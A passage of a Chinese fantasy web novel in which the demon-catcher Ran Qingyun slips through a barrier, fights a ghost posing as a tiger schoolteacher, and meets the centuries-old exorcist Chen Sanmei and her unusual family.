除却修了山路的主峰,其余无名山峦都人迹罕至,统称为北岩山荒郊。
据孙毛毛所说,那学堂名叫“文竹学堂”,位于北岩山北三山东面的一个小山坡上。
从西坊街出发,要去往那里,需要步行至天虞城北门,出了北门后接连翻越北大山和北二山,到达北三山的山脚,再往东直走约莫十里地。
冉青云一心想要在正午前抵达,没耐心慢慢悠悠地走,索性左手缠着小黑蛟,右手抓着小猴妖,出了茶楼,便施展轻功,一路向北而行。
山间月色幽幽,夜风低吟,林间弥漫着淡淡的雾气。
冉青云不走九曲十八弯的山道,反而攀藤揽葛地抄近路,越过北大山和北二山原本要花费四个时辰,她不到两个半时辰就来到了北三山的山脚。
此时,天光已大亮。
往东看,有一条弯弯曲曲的山间小路,小径两侧绿树成荫,挤挤挨挨地长着好些灌木丛和野花。
孙毛毛伸手一指,说:“就是这个方向,直走就能看到学堂了。”
冉青云点点头,脚下一点,往东纵身一跃——
然后砰地一声,撞上一面透明墙壁,被弹回地上,摔了个屁股墩。
这结界竟精妙得连她都没有察觉到,看来敌人非同小可。
冉青云揉揉肿了个大包的额头,对玄隐和孙毛毛问道:“你俩没事吧?”
没有答复的声音。
她低头一看,玄隐和孙毛毛居然都不见了!
***
此时结界的另一边,玄隐正一脸迷茫地环顾四周,这是一片桃树林,一排排桃树长得枝繁叶茂,看上去张牙舞爪的,好似凶恶鬼魅。
他只记得自己原本盘在冉青云手腕上,突然间冉青云似乎是猛地撞到了什么,被阻住了前路,而他却由于惯性往前一摔,来到了这莫名其妙的桃树林。
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他弱弱地喊了一声:“青云,你在吗……”
无人回应。
他又问:“孙毛毛,你在哪儿?”
回应他的只有呜呜风声,彷佛是有谁在悲鸣。
真是叫天天不应,叫地地不灵。
他害怕起来,蜷缩着躲在一棵大树下,心跳如擂鼓。
就在他六神无主的时候,远处突然隐隐传来女子说话的声音,玄隐急忙高声问了一句:“是青云么?”
那说话声却戛然而止。
犹豫半晌,他最终还是鼓起勇气,朝着声音传来的方向走去。
走了大约有半里路,四周还是一模一样的莽莽密林,耳边还是一模一样的瑟瑟风声。
眼瞧着不见冉青云踪影,他想走回头路了——回去原地等着冉青云来找他,或许比没头没脑的瞎转悠好得多。
就在他停住脚步纠结犹豫的这几秒里,地上有一条藤曼正蜿蜒着爬向他,趁他不注意,一把绑住他的尾巴,将他倒挂了起来!
玄隐只感觉一阵天旋地转,突然就头朝下地挂在半空了。
一株高大的桃树不紧不慢地挪动着树根走了过来,开口喝道:“你是什么东西?敢闯进我的地盘来?”
竟是一只桃树妖。
玄隐慌张之下,爆发出惊人的力量,一口咬断藤曼,挣脱了束缚。
他一落地,下意识地就想逃,但想到冉青云曾经说过,他应该学会克服恐惧,才能减少失控发生的可能。
玄隐努力镇定下来,稳住心神,心里暗想:冉青云一早就教过他如何应对敌人了,不用害怕!
他将身子绷紧成一张拉紧的弓,“嘶嘶”地吐着信子,凶神恶煞地喝道:“退!退!退!”
按照流程,对方接下来应该屁滚尿流地逃跑。
谁知那桃树妖丝毫不慌,伸出触角似的藤曼,猛地将玄隐罩住。
玄隐额头落下一滴冷汗。
怎么回事?
这这这……
这和青云教的不一样啊?
玄隐学了恐吓之法,并成功吓走玲珑阁东家,便觉得自己已经出师,自此以后横行霸道,见谁吓谁。
他没想到,人自然是怕蛟蛇的,但桃树妖的原型是植物,蛟蛇的毒对她无用,就算蛟蛇一口咬住她,她也无非是掉几块树皮,她怕蛟蛇做什么?
眨眼间,桃树妖的藤曼已经将玄隐包围得严严实实,玄隐茕茕孤立?,不见天日。
他立马意识到,这树妖竟是在做人茧,再不逃脱,怕是要被困死在这里。
玄隐掰不动这树妖的藤蔓,使出吃奶的劲儿连蹬带踹,好不容易才挣扎出一些缝隙,刚想逃脱,又有新的藤曼迅速将缝隙补上。
他从手指粗细的小黑蛟只好变回原来庞大的身形,企图用身体撑破这藤蔓编织而成的囚笼。
蛟身的鳞片剐蹭着藤蔓,挤压得玄隐从头到尾哪哪儿都疼,他心里想着要勇敢地咬牙坚持,眼里却已经簌簌掉泪,委屈得很。
就在这时,他听见外头传来急切的呼声:“小桃小桃!快住手呀!他是自己人!”
23. 第二十三回
玄隐咬牙与桃树妖的枝蔓牢笼较劲,身上发疼,心里发慌,心里想着:要是冉青云在他身边的话,他又怎么会受这种欺负?
遇此飞来横祸,他心里觉得好委屈,忍不住潸然泪下。他又想,若是今天折在这儿了,那就再也见不到冉青云了,自己也还没和那猫妖朋友炫耀自己也有了一个好主人呢。
他越想越难过,泪如泉涌,哭得上气不接下气,头痛欲裂,眼冒金星,只觉得自己似乎要晕过去了……
就在这时,外头突然响起一个着急的声音:“小桃小桃!快住手呀!”
闻言,正在使劲绞紧的枝蔓停下了动作,外头那声音又火急火燎地喊起来:“他是自己人!”
桃树妖迟疑了一下,缓缓松开了枝蔓。
玄隐晕晕乎乎的,好不容易重见天日,脚软得站都站不起来,啪叽一声摔在地上,缩回手指粗细的体型,仰面朝天地躺着,瘪着嘴委屈地默默垂泪。
那声音的主人原来是孙毛毛,他看玄隐这副模样,急得抓耳挠腮,说道:“哎呀哎呀,完蛋了!他是那捉妖师的妖宠!那捉妖师原本都说了愿意伸出援手,若是发现她的宝贝妖宠被你欺负成这样,临时变卦不愿意救胖胖了可怎么办!”
桃树妖听到这话,吓得枝叶哗啦啦直颤,懊恼地说:“你怎么不早点拦着我!我又不知道他是那捉妖师的妖宠呀,问他是谁他又不说……而且,文竹学堂明明在北三山东边,你们跑到我这西面做什么?”
孙毛毛怒道:“我远远地一看见你在用枝蔓把他裹起来,就一边全力冲刺地跑过来,一边扯着嗓子大声喊你了。我可是一只猴妖,你总不能要求我变双翅膀飞过来!”
冷静下来,他又将自己如何拜托捉妖师帮忙,又如何误入结界被传送到这里的事情简要地说了。
一边讲,他一边蹲下身,检查玄隐的情况,确认他没有受伤后,长舒一口气,说:“好在这蛟妖没有受伤,不然那捉妖师别说帮咱们救胖胖了,估计得把我们两个都逮起来揍一顿。”
桃树妖弱弱地问:“那接下来怎么办……”
孙毛毛拧眉道:“还能怎么办?去找那捉妖师道歉呗……若她进不去结界,找不到学堂,那也只能原路返回了。我先带着蛟妖回香梅茶楼等她。”
他看了眼桃树妖,又说:“你是桃树妖,不方便进天虞城。若是城里人看见一棵桃树大摇大摆地在大街上走,肯定会被吓坏了。你就在这儿等我的消息吧。”
说罢,他捡起地上可怜兮兮的小黑蛟,垂头丧气地往天虞城走。
***
在结界的另一端,冉青云被结界阻拦住前路之后,便开始琢磨起破解之法。
方才玄隐和孙毛毛一进到结界去就瞬间不见了身影。这结界奇怪得很,似乎不只是一个隔绝结界,还是一个传输法阵,将他俩不知传送到哪儿去了。
我小黑蛟呢!我那么可爱一条小黑蛟呢!
冉青云急忙拔出腰间的桃木剑,猛地往透明结界上砍去,尝试用桃木剑强行破开结界。但那结界坚不可摧,竟连灌注了十成十法力的桃木剑都伤不了分毫。
既然暴力硬闯不成,那就只能想办法智取了。
冉青云冷静下来,捡起地上的石块,摘下路旁一朵小花,朝着结界里面投石飞花,石子与花朵没入结界之中,却没有凭空消失,普普通通地掉落在了透明墙壁的另一端。
看来这结界会阻止人类进入,能将妖怪传走,却不影响物体穿过。
一般来说,结界识别并区分入侵者有两种方法。
第一种方法是识别气息。妖族有妖气,人类有人息,物体无气无息,藉此分门别类,该传走的传走,该拦住的拦住。
而第二种方法就严谨得多,能够检测识别入侵者的肢体血肉,即便是一根儿头发丝都可以识别出主人是妖是人,但这种方法的法力耗费极大。
这结界不仅面积大,而且极其坚固,若还能采用第二种识别方法,三者兼顾,那施法者的法力得无边到什么程度,这个法阵大概率用的是第一种识别方法。
但保险起见,冉青云还是先试上一试。
她削下自己的一小截头发,往里抛,也能进入结界之中,这一缕头发被结界识别为普通的物体,说明这个结界识别的方法果然是前者。
这就好办了。
活人进不去,尸身总进得去了吧。
冉青云后退几步,向前助跑加速,使劲一跳,身子腾跃而起。在跳到最高处时,她嘴里念念有词,语速极快,眨眼间就念完了假死闭气诀。假死的身体由于惯性往前摔落,扑通一声,跌进了结界之中。
冉青云很快从假死中醒过来,看见自己已身处结界另一端,站在北三山山脚的小路上,便知道自己成功混了进来,没有被传送到其他地方去。
冉青云当即施展轻功,按着孙毛毛说的方向,沿着山间小路继续往东跑,去找那莫名其妙的文竹学堂。
至于玄隐和孙毛毛,只要先把那罪魁祸首的夫子抓了,再慢慢逼问出玄隐和孙毛毛的下落就万事大吉了。
冉青云从小就不喜欢学堂,整日待在学堂里翻来覆去地学那些她一学就会的知识,还不如去多练一时辰的剑。
现在终于有机会义正言辞地炸学堂了,脚步都轻快起来了。
没走多久,就隐隐看见竹林中立着一间竹屋,牌匾上书“文竹学堂”。
冉青云走近了正想仔细看看,突然间,身旁吹起阴风阵阵,汗毛直竖。
怎么回事?总不能是上学综合征犯了。
分明这是少风的盛夏,一路走来冉青云热得是满头大汗,这阴风又是从何而来?
她停下脚步,转头巡视了一圈,竹林一片寂静,竟寻不到这阴风来源,好似它是在冉青云周身凭空产生似的。
她沉思片刻,走上前推开了学堂的门。
这学堂坐东朝西,三面开窗,其中最大的一面风窗正对着学堂大门,凉飕飕的穿堂风呼啸而过。
常言道,房屋第一凶,最忌穿堂风。
这学堂不论是朝向还是布局,都诡异至极。
学堂里整整齐齐地坐着六七只小妖,都坐在位置上,嘴里嘀哩咕噜地不知说着些什么。
冉青云一眼就看到一个胖乎乎的猪脑袋,想来就是孙毛毛那个猪妖好友猪胖胖。
听见冉青云进门的声响,几只小妖悉数扭头看向她,猩红的双眼射着寒光。
冉青云这才听清他们嘴里念叨着的是什么。
“杀……杀……”
“杀……杀了所有人族!”<
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p>“杀了所有人族!杀了所有人族!”
他们的怒吼一声高过一声,满是戾气,带着疯魔了似的癫狂。
所有矮栅足案竟都漂浮到半空,好似有人在操控,万箭齐发一般直冲冉青云而来。
她眸光一冷,出掌迎上,迎头的书案瞬间碎成木渣。
冉青云手掌震得生疼,不由得倒吸一口冷气。
要知道,她之前单手碎巨石都不在话下,这书案不过是柏木,重量也不足百斤,怎会比千斤重的巨石还难顶?
她嘴里迅速默念咒语,在面前立起一道无形的墙,书案一个接一个地撞上防御墙,又重重地掉落,震得地面颤动。
学堂里的妖怪们见状,狂乱地嚎叫起来,眼睛红得快要滴血,不要命似的朝着冉青云前仆后继地冲了过来。
冉青云见他们声势浩大,压低身子,稳住下盘,摆出了认认真真的防御姿态。
可等到小妖怪们攻了上来,冉青云才发现原来雷声大雨点小。这些小妖怪们嗓子大得很,力气却非常小,软绵绵的拳头打到她身上简直是不痛不痒,还没纪映阳帮她捶肩有力气呢。
小妖怪们一个接一个地扑上来,来一个冉青云踹一个,来两个冉青云揍一双。
乒呤哐啷一顿乱斗,没一会儿,场上就只剩下一只小猪妖还没被揍飞。
朱胖胖猪如其名,实在是太胖了,圆圆的脑袋大大耳朵,笨手又笨脚跑步像陀螺。
同学们都躺地上了,他才刚跑离起跑线几步路,挨揍都赶不上热乎的。
冉青云拔出腰间的桃木剑,剑指朱胖胖,脸上装出一副凶神恶煞的样子,恐吓道:“这学堂的夫子哪去了?不说的话,我今晚可就吃烤乳猪了!”
朱胖胖怕得发抖,却很有骨气,宁死不屈:“不、不管你怎么问,我死也不会告诉你的!”
说完,他梗直了脖子,把头一扭,对于冉青云的审讯明显十分不配合。
下一秒,冉青云二话不说,欺身上前,快如闪电,一把抓住朱胖胖的衣领,拎着他往外一甩,将他就这么直直地扔了出去。
朱胖胖还没反应过来,身子已经晃晃悠悠地从学堂大门飞了出去,连着砰砰砰几声,一路撞断五六根竹子才停了下来。
他只觉得自己全身好似都要散架了一般,抬头龇牙咧嘴地正要大骂,却听见砰的一声巨响,他原来站着的地方被轰出一个坑坑洼洼的凹陷,散起一阵烟尘。
攻击者是一只身材魁梧的虎妖,他肌肉发达,墨黑的斑纹缀饰在浓密的黄白皮毛上,獠牙外露,两眼发绿,阴森至极,死死地盯着冉青云这位不速之客。
虎妖的爪子差不多和朱胖胖的猪头猪脑一样大,利爪犹如精铸的银剑,轻而易举地将地面劈出一个深深地塌陷坑洞。
若不是冉青云眼疾手快地把朱胖胖丢了出去,这个坑洞上还会多出一张血肉模糊的猪肉脯。
朱胖胖怔怔地睁大了眼,不可置信地大吼道:“夫、夫子,为什么……”
冉青云冷笑一声,剑指巨虎,朗声对朱胖胖说道:“你可要看清楚了,那根本不是虎妖,而是恶鬼。”
朱胖胖揉了揉眼睛,定睛一看,那虎妖周身真的萦绕着浓浓的黑气。
真是奇怪,这么明显的煞气,怎么自己之前从未察觉?
24. 第二十四回
那夫子周身的煞气浓郁至极,就好像一层在半空中流动的黑色浆液,笼罩在他自身周围,连他的面容都变得影影绰绰的,看不真切,唯有那寒光闪烁的绿眼和獠牙清晰可见。
朱胖胖在学堂读了半年有余,和孙毛毛同为第一批入学的开门弟子。朱胖胖从初次见到这位虎妖夫子开始,一直觉得他慈眉善目、和蔼可亲,从来都没察觉他身上有一丁点儿煞气。
但是,此刻他发现煞气环绕,看不清夫子的脸,心里回想起夫子的长相来,竟是模模糊糊的没什么印象,就好像……好像自己其实从未看清过他一样。
至于这半年来究竟在学堂里学了些什么有用的知识,朱胖胖也几乎什么都想不起来,唯一记得的,就只有对人类的满腔恨意。
他越想越头疼,只觉得脑袋好似要炸开一般,双手紧紧捂住自己的猪脑袋,痛苦地哼哼唧唧起来,蜷缩成一团满地打滚,像一颗滚过来又滚过去的手打猪肉丸。没滚几圈,他就忍受不住疼痛,眼睛一翻,晕了过去。
朱胖胖是一睡解千愁了,冉青云还要单枪匹马对付这虎妖模样的恶鬼呢。
看这鬼魅周身煞气如此之重,手头上必然有不少命案血债,实力不容小觑。
那恶鬼见偷袭不中,膝弯一曲一直,好似弹簧一般猛地起跳,狂啸一声,张着血盆大口,凶神恶煞地朝着冉青云直扑过来。
冉青云脚下一点,翩翩跃起,向后避过。
鬼煞发现咬不着她,立马改变攻势,转为用利爪攻击,伸出巨爪,狠狠拍向冉青云。出爪速度之快,冉青云几乎只能看见闪着银光的利爪残影,耳边尽是呼呼的破风声。
冉青云迅速横剑格挡,利爪撞上桃木剑,发出锵的一声,撞得冉青云虎口发酸,差点儿握不住剑。
她只好且退且战,一边思考起应对之策来。
若想使用镇鬼葫芦捉住鬼怪,需要明确知道恶鬼的名号,想要投机取巧将所有鬼怪名字都念一遍,那是万万不行的。只要心中存疑,不是百分之一百的确定,哪怕歪打正着念对了名字,也会催动不了镇鬼葫芦。
而要判断这恶鬼的名号可不容易,他既可能是藏身于老虎腹中的腹鬼,又可能是制造出幻觉的曲鬼,还可能披着虎皮的剥皮鬼,也可能是能够将灵魂依附在老虎身上的伥鬼。
眼下冉青云无从作出判断,只能想办法屈打成招,让那鬼怪自报姓名。
几番过招下来,冉青云已退到了学堂之外。此时已到午时,炙热的太阳高悬于天际,竹林在热浪中显出几分朦胧。
现在是一天之中阳气最盛而阴气最弱的时候,优势在我。
冉青云心里已有了主意。她右手架剑招架恶鬼攻击,与此同时,左手从乾坤袋中摸出三十六枚古铜钱,退几步便往地上扔一个。
看似胡扔瞎丢,可实际上她并非随意摆放,手中的铜钱丢完,地面上三十六枚古铜钱正正好好对应着三十六天罡星的位置,构成了一个阳怒阵。
阳怒阵的原理是将天地阳气聚集在一起,并且阻止阳气外散,凝聚起来形成气场,然后用桃木剑或者别的什么武器破掉阵法,在法阵破裂的一瞬间,被压缩的阳气爆发出来,威力不亚于引燃炸弹,还会因为阴阳相吸而自动攻向充满阴气的鬼煞。
冉青云掐诀,阳怒阵起,天地间的阳气受此阵吸引,聚成一道隐隐发亮的涓流,漩涡似的转折圈儿被吸入阵法中心,三十六枚古铜钱起熠熠金光。
冉青云往前一跃,高举长剑,狠狠向下挥劈。恶鬼虽然没有实体,无法被杀,但若是被附有法力的桃木剑打中,还是会吃些苦头。
恶鬼见冉青云攻过来,向后一滚,安全地避开了这一击。
但冉青云其实是佯攻,她手里的剑直直刺向阵法中心,阳怒阵破,原本凝聚在阵法中的阳气瞬间炸开,发出惊人的爆鸣声,带来的冲击波将学堂的房顶都掀翻了,林中翠竹乌泱泱地倒了一大片。
阴阳相吸,爆发出来的阳气大多汇成一条金色巨龙,直直地冲向了满身煞气的恶鬼。
恶鬼躲闪不及,被迎面击中,“轰——”的一声,震耳欲聋的巨响在空中回荡,烟尘弥漫,久久不散。
而冉青云早已掐好阳护诀,周身展开一个保护罩,爆开的阳气从她身侧与她擦肩而过,伤不了她分毫。
眼看已成功击败恶鬼,冉青云往前走了几步,正想布一个锁鬼阵,将这恶鬼困在阵中,再来严刑伺候、慢慢拷问。
但她的脚步忽地顿住——眼前烟尘散去,那恶鬼曲腿弯腰,双爪交叉护在面前,除了两臂上有焦褐的烫伤之外,其他身体各处竟毫发无损!
这恶鬼与冉青云之前遇上的剥皮鬼和水鬼根本不是一个水平的!
那恶鬼站起身,怒意更甚,蓄势待发,又要朝冉青云攻过来。
冉青云捉妖技法炉火纯青,可毕竟不是专业的驱鬼人,在捉鬼一事上只能说是初窥门径。
打不过,难道还跑不过么?
冉青云强行镇定下来,双指夹住一张灵符,正要掐诀念咒,引下天雷抵挡,想着找机会开溜。
忽然之间,一阵劲风从身后袭来,来势汹汹。
冉青云心头一紧,下意识地侧身躲避,却见一把玄铁长剑越过她身侧飞过,带着凛冽的破风声,剑如游龙,只听得“铮”的一声,竟将那没有实体的恶鬼牢牢地钉在地上。
玄铁长剑插在恶鬼胸膛,与恶鬼接触的地方滋滋作响,隐隐闪着电光。
恶鬼撕心裂肺地痛呼起来,整片竹林地动山摇。
紧接着,一只白皙如玉的手从冉青云身后伸出,掌心向前,四指向下,猛地朝那恶鬼轰去,去势如狂风闪电,威力似摧石裂山。
冉青云的满头青丝都在赫赫掌风中凌乱。
恶鬼被钉在地上,无法躲闪,只能硬生生接下,庞大的身躯一瞬炸开,化作漫天黑烟。
一道冷呵声响起:“小小伥鬼,引妖作恶,害人性命,罪不可赦!收!”
冉青云缓缓扭头看去,眼前是一位亭亭玉立的少女,看上去不过十四五岁的年纪。
少女身披玉色烟萝纱衣,双垂髫上系着碧色的丝带,脸如白玉,未施粉黛,鹅蛋脸,杏仁眼,一双黄蓝异瞳好似深海与金阳,使得她看上去如同一只名
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贵优雅的波斯猫。
与可爱的外表所不符的,是她拒人千里之外的清冷气质。
她面若含冰,眼神冷峻,手里拿着一个镇鬼葫芦,那恶鬼化成的黑烟正转着圈儿被吸进葫芦嘴里。
日光从竹叶间隙中落下,在少女脸上留下斑驳的光影。她看上去宛若天上神女,冷冰冰地傲视世间万千蝼蚁。
少女看着年纪不大,居然眨眼间就轻而易举地将那恶鬼收服。冉青云目怔口呆,喃喃自语:“……这小妹妹究竟是什么来头?”
闻言,少女斜乜了她一眼,开口说道:“什么小妹妹,我都两百多岁了。”
冉青云以为她在说笑,拔起她直插在地的长剑递还于她,逗孩子似的故作恭敬地说:“再下捉妖人冉青云,直上青云的青云。敢问尊姓大名?”
少女接过长剑,淡淡地回答:“陈锋霜,锋利的锋,冰霜的霜。”
冉青云夸道:“锋刃如霜,真是个好名字,清冷疏离又气势如虹,和姑娘真是相配。”
少女却一脸奇怪地反问:“和我相配做什么?这是剑的名字,又不是我的。”
冉青云:……
行吧。
怪我,怪我没问清楚是谁的尊姓大名。
谁能知道她还给佩剑取了大名呢……
冉青云深吸一口气,重新问道:“敢问姑娘尊姓大名?”
她昂起头,言简意赅地自报姓名:“陈三妹。”说着,她利落地舞了一个漂亮的剑花,收剑入鞘。
与剑的名字“陈锋霜”比起来,她的名字“陈三妹”也过于朴实无华了……
等等。
陈三妹?!
这名字怎么听起来这么耳熟?
这不就是庞千山口中的那位老友吗?
难道她真是两百多岁?
庞千山千叮咛万嘱咐,说冉青云若是见到陈三妹,一定要邀请她去香梅茶楼做客。
既然今天真的有缘遇见了,那冉青云自然要信守承诺、履行诺言。
她拱手道:“多谢姑娘出手相救。我在天虞城中经营着一间茶楼,名曰香梅茶楼,若是姑娘今日有空,不知能否赏光来我们茶楼坐一坐?”
听到冉青云的邀请,陈三妹一改之前冷若冰霜的表情,眼睛一亮,声调也高了几分:“有空有空!当然有空!”
她兴冲冲地说:“你居然是香梅茶楼的东家?我老早就听说你们的事儿了,你还养着一只狐妖和一只蛟妖对不对?我一直想去你们茶楼玩,可惜这段时间差事太忙了,也不知最近哪来的那么多恶鬼……”
她迫不及待地就要出发,拉过冉青云的手就往不远处的一棵榕树那儿跑。榕树上用马绳系着一匹傲首挺胸的白马,白马四肢强健,身躯俊美,在阳光下闪耀着精油一般的光泽,颈部的鬃毛长而散,像洁白的流苏装饰。
陈三妹解下马绳,翻身上马,拍了拍马的身子,急不可耐地对冉青云说:“我们即刻启程吧!骑我的陈流星去,我载你!”
冉青云也上了马,又听陈三妹说:“不过我得先回家一趟,我要带上我的好朋友一起去茶楼!”
25. 第二十五回
陈三妹提缰纵马,载着冉青云,兴高采烈地就要出发。
冉青云想起不知去向的玄隐和孙毛毛,说:“但我得先去找找我的朋友,他们不知被恶鬼的结界传送到哪儿去了。”
可恶鬼已被收进了镇鬼葫芦,总不能敲碎葫芦放他出来拷问吧。
陈三妹却歪了歪头,说:“你是说北三山山脚的那个结界?那是我设的法阵呀。”
她接着说:“我怕我捉鬼时误伤无辜,就随便设了个结界,阻止人类进入。至于妖族么,我怕他们被结界拦着,聚集在山脚,若是被人看见了,容易引起骚动,就把他们传送到西面的桃花林去了。”
冉青云舒了口气,说:“知道他们没事就好!”
她心想:孙毛毛和玄隐胆子都小得很,进不去结界,估计也不敢到处乱逛,八成是回茶楼去了,但以他俩的脚程,估计没那么快抵达。
于是,她用传音玉玺给纪映阳发了消息,吩咐他,若是玄隐回了茶楼,知会她一声。
竹林里,小猪妖还腆着个肚子躺在地上,睡得正香。
疾驰的马匹路过小猪妖时,冉青云双腿夹紧马腹,俯下身子顺手一捞,把他夹在胳肢窝下面一起带走了。
陈三妹的白马陈流星马如其名,大步流星,风驰电掣,即使跑在崎岖的山路上也如履平地,健步如飞,没一会儿就翻过了两座山,直奔天虞城北门而去。
进了天虞城,她调转马头,向东而行。
城东可以说是天虞城的富人区,与整日人来人往、吵吵闹闹的城西不同,城东显得安静得多。
陈三妹催马疾行,驶入东苑巷,马蹄急踏,急促的马蹄声犹如鼓点,在空寂的街道上显得极为明显。
东苑巷虽以“巷”字起名,其实规模也不算小,虽说比不上西坊街,但其实大差不大,主路约四丈有余,很是宽敞。
西坊街卯时开早市,亥时闭夜市,整整一天街道上都熙熙攘攘,人烟昌盛,因此鲜少有人骑马,更别提坐马车了,硬要说西坊街上的坐骑,最多就是西域商队牵着驮满货物的骆驼慢悠悠地走。
而东苑巷却大不相同,行人寥寥无几,纵马骑行的人反而多一些,最多的是徐徐驶过街巷的马车,将达官贵人们稳稳地载到店铺正门口。
西坊街从早到晚都有人叫卖吆喝,东苑巷却安安静静,路旁连摆摊卖货的都没有。
冉青云来天虞城也有些时日了,一直忙着开茶楼、办直播的事儿,还没空到这东苑巷来逛逛。今天她走马观“巷”,将东苑巷从巷尾看到街头,心中不由得暗想:还好当初把茶楼开在了西坊街,若是傻乎乎地开在了这东苑巷,这儿的人自持矜贵,一旦知道了茶楼里有妖怪,定是连进来茶楼看一眼都不愿意。
穿过东苑巷巷口高高的石牌坊,便可以看到红墙青瓦、飞檐翘角的城主府。
城主府大门前台阶高耸,朱漆大门上方悬着黑色金丝楠木匾额,上书“天虞城主府”五个鎏金大字,大门两侧立着两只威风凛凛、精雕细琢的石狮子,门前一小队全副武装的卫兵正在巡逻。
陈三妹纵马路过城主府,进了隔壁的一条巷子,在一所宅院前停了下来,示意冉青云翻身下马。
这所宅院与其说是住所,不如说是府邸。
灰瓦白墙,门楼高大,门栏窗槅皆是雕花刻叶?。
冉青云手里拎着小猪妖,跟着陈三妹进了门。
一进门,入目是一个宽敞的庭院,庭院正中央种着一棵挺拔的桂花树,繁密的叶片绿如翡翠,枝条上已缀满了淡金色花苞,树下荫下摆放着一套石桌石凳。
陈三妹将白马牵入马厩,温和地摸了摸白马的脑袋,说:“陈流星,今天真是辛苦你啦。”
白马发出了咴咴的叫声,声音轻快。
陈三妹安抚完马匹,又冲屋子里喊道:“小雪,快出来,我带你去香梅茶楼玩!”
闻言,屋内响起一阵不疾不徐的脚步声。
走出来的竟然是一位老翁——须发半百,蓄着山羊胡,头戴襥头帽,身穿长褂子,正是庞千山庞大人。
他怀里抱着一只小巧的西施犬,浑身雪白,圆圆的眼睛,黑黑的鼻头,毛发柔顺飘逸,头顶上扎着一朵小粉花,可爱得像一只毛绒娃娃。
怎么回事?陈三妹不是说来找她妹妹么?
陈三妹见了庞千山,并不惊讶,语气熟稔地说:“小山,你又来我家玩啦。”
庞千山竟称呼陈三妹为“阿姐”,他撅起嘴说:“阿姐,还不是怪你整日忙着差事,我都要无聊死了!”
看惯了庞千山故作仙风道骨的样子,眼下见他这副撒痴撒娇的惺惺作态,冉青云不由自主地起了一身鸡皮疙瘩。
冒犯了冒犯了,还是怪自己心态不够开放。
老头子难道就没有撒娇的权利了吗?
尊重,理解,包容。
不过,他这把年纪,竟称呼看上去十三四岁模样的陈三妹为“阿姐”。
看来陈三妹果真是不死不老之身。
陈三妹踮起脚,揉了揉庞千山的头,说:“怪我怪我,最近恶鬼太多了,实在没办法。我接下来就空闲一些了,保证多抽时间陪你玩。”
庞千山比陈三妹高了将近一个头,此时乖顺地低下头,孺慕之情溢于言表。
这场面实在温馨,但冉青云一想起陈三妹手下的这个脑袋是个地中海秃头,就感动不起来。
陈三妹收了手,又邀请道:“我今天下午正巧有空,我们一块儿去香梅茶楼玩吧!”
说到香梅茶楼,陈三妹向庞千山介绍起冉青云,话里满是高兴激动:“你猜我今天捉鬼时遇上了谁——居然是香梅茶楼的东家!她名叫冉青云,人可好了,说要请我去茶楼做客!”
她刚介绍完,庞千山语调夸张地喊了起来:“哟,这不是我那铺子的租客吗?没想到你居然是香梅茶楼的东家!这也太巧了!”
演技有些浮夸,但已是吊打纪映阳冉青云的水平了。
陈三妹不疑有他,笑道:“原来还有这层关系,真是有缘!”
又略带埋怨地说:“小山,你租铺子出去怎么也不关心租客开的什么店?天虞城都传遍了,香梅茶楼是家人族妖族合开的茶楼,这你都不知道?我连显影石都买了,天天晚上掐着点儿等着看演出呢。可惜我只抢购到一块显影石,不然就能送你一块了。”
没想到陈三妹居然是香梅茶楼的忠实粉丝,冉青云笑道:“这不成问题,待会去了香梅茶楼,你们想要几块我就送几块。”
陈三妹眼睛一亮,也不客气,掰着指头边数边说:“好哇好哇,那我要三块!一块备用,一块收藏,一块给小山!”
庞千山见陈三妹如此开心,嘴角也带上笑意,说:“那大家一起坐我家的马车去吧。”
陈三妹着急得很,说道:“好呀!事不宜迟,我们快出发吧!”
冉青云还记着陈三妹说要回家来喊妹妹的事情,以为她是一时激动忘记了,提醒道:“你不是说要来喊你妹妹一起……”
她话还没说完,陈三妹已经一溜烟跑出院子了,明显是一点儿也没听清她说话。
冉青云还在看着陈三妹远去的背影,身后一个冷艳慵懒的女声却悠悠响起:“看你眼
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睛挺大,原来只是个摆件么?我都在你眼前晃悠这么久了,是一点儿也看不见呀。”
冉青云闻声转头,开口的居然是庞千山怀里那只精致可爱的西施犬。
冉青云不由得瞪大了眼。
谁能知道陈三妹的妹妹是只犬妖啊!
两百多岁的童颜阿姐,白发苍苍的老头弟弟,再加上小巧玲珑的西施犬妹妹,这是啥家庭啊!
那西施犬冷哼一声:“还说是多厉害的捉妖人呢,连妖族都分辨不出来,好没用哦。”
她看了一眼冉青云手里拎着的小猪妖,又说:“没想到你手里拎着个猪脑袋,脖子上还顶着个猪脑袋,真是奇事。”
说着,她从庞千山怀里跳下来,摇着尾巴,迈着先秦淑女步,优雅地走了。
庞千山捋着胡子,笑呵呵地对冉青云说:“见谅,见谅。雪儿姐脾气就是这样,看着是刀子嘴,其实是豆腐心。”
……雪儿姐?
敢情你在家里的辈分还不如小狗……
谁能想到,德高望重、叱咤风云的庞大人在家里其实只是个弟弟。
庞千山的府邸就在陈三妹家隔壁,姐弟俩互有对方家门钥匙。
冉青云和庞千山走出宅院时,陈三妹已经将庞千山家中的马车牵了出来,她翻身上马,招呼道:“你们快上车!我年纪最大,我来骑马!”
方才对着冉青云冷嘲热讽的犬妖陈小雪此时一脸乖巧,跳上车,眨巴着大眼睛,对着陈三妹娇滴滴地说:“三三姐姐真好!辛苦三三姐姐啦!”语气要多甜腻有多甜腻,要多绵软有多绵软。
这陈三妹究竟有什么魔力?
怎么鹤骨松姿的庞千山和阴阳怪气的陈小雪一遇见她,立马开始发嗲撒娇?
冉青云和庞千山也上了车,陈三妹吆喝一声:“坐稳啦,发车咯!”语毕,马车晃晃悠悠地动了起来。
冉青云自小好奇心旺盛,此时脑子里满是疑问,心口像有蚂蚁在爬,忍不住开口问道:“冒昧问一句,陈姑娘这是不老不死之身么?”
庞千山苦笑道:“算是吧……”
听他这么说,西施犬妖陈小雪不乐意了,伸爪就挠了庞千山一下子,拧眉道:“你这是什么语气!长生不老难道不好吗?”
庞千山被挠了也不生气,只是说:“你是妖族,不能理解对于人类来说,长生其实不一定是一件好事。”
西施犬气鼓鼓地说:“怎么不是好事了?”
庞千山摇摇头,说:“普通人寿命不过百年,道行高的一百五十年也顶天了。阿姐却要熬过几千年时光,岂不是很寂寞?”
西施犬大声反驳:“我一直陪着三三姐姐,她怎么会寂寞呢!她活多久,我就陪着她多久!”
庞千山叹了口气,说:“话不是这么说的。阿姐是人类,人族朋友与妖族朋友终究是有些不一样的……”
他没有再与陈小雪争论,扭头对冉青云说:“阿姐她虽然寿命长,却一直是孩子心性。她身世凄苦,一向没什么人族朋友。”
